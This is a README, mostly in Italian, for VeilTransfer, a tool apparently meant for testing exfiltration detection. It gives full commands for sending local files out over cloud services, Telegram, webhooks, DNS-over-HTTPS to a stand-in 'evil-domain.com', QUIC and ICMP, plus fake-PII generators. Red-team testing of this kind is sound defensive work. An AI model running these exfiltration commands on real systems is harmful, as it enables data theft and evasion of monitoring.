
VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.
VeilTransfer è un'utility per l'esfiltrazione di dati progettata per testare e migliorare le capacità di rilevamento. Questo strumento simula tecniche di esfiltrazione dati reali utilizzate da attori di minaccia avanzati, consentendo alle organizzazioni di valutare e migliorare la propria postura di sicurezza. Sfruttando molteplici metodi di esfiltrazione come MEGA, GitHub, SFTP, WebDAV e altri, VeilTransfer aiuta a identificare le lacune nelle tue difese e garantisce che le tue soluzioni di sicurezza siano pronte a contrastare le moderne violazioni dei dati.
| ID | Tecniche |
|---|---|
| T1029 | Scheduled Transfer |
| T1020 | Automated Exfiltration |
| T1132.001 | Data Encoding: Standard Encoding |
| T1560.002 | Archive Collected Data: Archive via Library |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
| T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
VeilTransfer supporta anche la generazione di dati fittizi, tra cui:
Crea facilmente file zip per raggruppare e comprimere dati, che possono poi essere utilizzati per l'esfiltrazione o per testare diversi scenari. Supporta la suddivisione opzionale in più file in base alla dimensione.
Questo esempio mostra come trasferire in modo sicuro un file a un server remoto utilizzando il protocollo SFTP. Il file si trova sulla macchina locale e viene trasferito nella directory remota specificata utilizzando l'autenticazione SSH.
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
In questo esempio, i file di una directory locale vengono caricati su un server WebDAV. Il server richiede nome utente e password per l'autenticazione. Il parametro server include lo schema URI (https:// o http://).
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
Questo esempio mostra come trasferire file su Mega Cloud. I file vengono caricati da una directory locale specificata e l'autenticazione avviene tramite le credenziali Mega Cloud dell'utente.
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
In questo esempio, un file viene caricato su un server FTP. Il file viene trasferito in una directory specifica sul server remoto. Il server richiede nome utente e password per l'autenticazione.
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
Questo esempio mostra come caricare il contenuto di un file su Pastebin. Il contenuto viene pubblicato su Pastebin utilizzando una chiave API fornita dall'utente.
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
Questo esempio mostra come inviare un file dalla macchina locale a un repository GitHub specifico. Il file viene aggiunto al repository utilizzando il token API GitHub dell'utente per l'autenticazione.
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
Questo esempio mostra come inviare un file a un canale Telegram specifico. Il file viene inviato utilizzando un token API di un bot Telegram e il messaggio viene consegnato all'ID canale specificato.
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
In questo esempio, il contenuto di un file viene inviato a un URL Webhook specificato.
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
Per stabilire un meccanismo sicuro di esfiltrazione dei dati che utilizzi DNS over HTTPS (DoH), devono essere configurati i seguenti record DNS:
Record A: Punta test all'indirizzo IP <VeilTransfer_IP_Address>.
test -> <VeilTransfer_IP_Address>
Record NS: Definisci un sottodominio (exfil) gestito da evil-domain.com.
exfil -> test.evil-domain.com
Il dominio exfil.evil-domain.com fungerà da dominio DNS Exfil.
Quindi, avvia il server VeilTransfer in modalità DoH con il seguente comando:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
Nota: La chiave di cifratura (-key) deve essere lunga 16 o 32 caratteri.
Per caricare file via DoH, assicurati che il server VeilTransfer sia attivo in modalità DoH con una chiave di cifratura valida. Quindi, avvia il trasferimento usando il comando client:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
Per avviare il server VeilTransfer in modalità QUIC, usa il seguente comando:
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
Una volta che il server è in esecuzione, puoi caricare file o directory usando:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
Per abilitare i trasferimenti di file tramite il protocollo ICMP, avvia il server VeilTransfer in modalità ICMP eseguendo il seguente comando:
veiltransfer_server_linux icmp -folder /path/folder
Una volta che il server è attivo, esegui il seguente comando per trasferire file o directory via ICMP:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
Crea un archivio zip da una directory specificata.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
Crea un archivio zip suddiviso in più parti in base alla dimensione specificata.
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
Questo esempio mostra come generare 100 voci di dati di carte di credito fittizie. I dati generati includeranno numeri di carta di credito, date di scadenza e dettagli associati.
veiltransfer_client generate-fake -ccn -count 100
Questo esempio mostra come generare 50 voci di dati KTP fittizi, ovvero carte d'identità indonesiane. I dati includono informazioni personali come nome, indirizzo e numero KTP.
veiltransfer_client generate-fake -ktp -count 50
I dati generati includono numeri di previdenza sociale formattati secondo gli standard statunitensi.
veiltransfer_client generate-fake -ssn -count 200
Questo esempio mostra come generare 300 cartelle cliniche fittizie in inglese.
veiltransfer_client generate-fake -medical-record -count 300 -language en
I contributi a VeilTransfer sono benvenuti! Se hai idee per nuove funzionalità, metodi di esfiltrazione o miglioramenti, invia una pull request o apri una issue su GitHub.